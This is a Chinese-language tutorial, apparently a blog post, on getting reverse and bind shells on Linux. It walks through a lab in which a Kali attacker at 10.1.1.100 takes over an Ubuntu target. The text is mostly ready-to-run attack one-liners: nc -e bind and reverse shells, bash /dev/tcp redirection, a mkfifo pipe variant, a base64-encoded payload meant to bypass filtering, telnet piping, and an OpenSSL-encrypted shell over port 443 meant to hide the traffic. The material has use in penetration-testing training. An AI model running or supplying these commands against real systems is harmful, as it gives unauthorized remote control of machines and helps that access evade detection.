目录
一,Shell简介
正向shell(客户端想要获得服务端的shell)
反向shell (服务端想要获得客户端的shell)
二,Linux反弹shell
1.NC正向shell
2.NC反向shell
编辑 3.bash反弹shell
4.无e参数反弹shell
5.Base64编码绕过
编辑 6.Telnet反弹shell
7.OpenSSL反弹443端口,流量加密传输
一,Shell简介
Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。
getshell:获取到目标的命令执行权限 webshell:网站后门,通过web服务进行命令执行 反弹shell:将命令行的输入与输出转移到其他主机
正向shell(客户端想要获得服务端的shell)
控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍
反向shell (服务端想要获得客户端的shell)
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
二,Linux反弹shell
实验环境 目标机器:Ubuntu、IP:10.1.1.200、ssh账号密码root/root 攻击机器:Kali、IP:10.1.1.100
1.NC正向shell
原理:被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口,控制端(kali)主动连接被控端的6666端口,即可获得shell。
在Ubuntu被控端:ncat -lvvp 6666 -e /bin/bash //监听6666端口
控制端:nc 10.1.1.200 6666 我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名,内核,以及硬件架构
2.NC反向shell
原理:被控端使用nc将/bin/bash发送到控制端的6666端口,控制端需要监听本地的6666端口,就可以获得被控制端的shell。
控制端:nc -lvvp 6666
被控端 ncat -e /bin/bash 10.10.1.100 6666
发现shell已经反弹到了kali中,输入下面的命令验证一下 whoami uname -a
3.bash反弹shell
bash -i的意思是在本地打开一个bash,/dev/tcp/相当于发出了一个socket调用,建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。远程控制端开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。
控制端:nc -lvvp 6666
被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1 解析: // 将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666 // /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连 接,读写这个文件就相当于在这个 socket 连接中传输数据
可以看到控制端 已经获取到了shell
4.无e参数反弹shell
原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了shell。
控制端:nc -lvvp 6666
被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f
控制端已经得到了shell权限
5.Base64编码绕过
控制端:nc -lvvp 1234
python3 import base64 a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1 b=base64.b64encode(a.encode(‘utf-8’)) print(b) 利用python3将bash...转换为base64编码
被控端: bash - c "echo YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i" 实质是playload组合 bash -c "echo base64加密后payload |base64 -d | bash -i"
查看控制端,已经有参数回显
6.Telnet反弹shell
控制端:nc -lvvp 5555 //传输命令窗口
控制端:nc -lvvp 6666 // 结果显示窗口
被控端: telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666
在控制端中我们两个监听的端口都得到了shell,在5555窗口输入whoami然后命令回显显示在了6666窗口
7.OpenSSL反弹443端口,流量加密传输
控制端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 控制端上生成秘钥文件
控制端:openssl s_server -quiet -key key.pem -cert cert.pem -port 443 // 在控制端上启动监视器
被控端: mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s //在被控端反弹shell
在监视器上得到了shell,输入whoami验证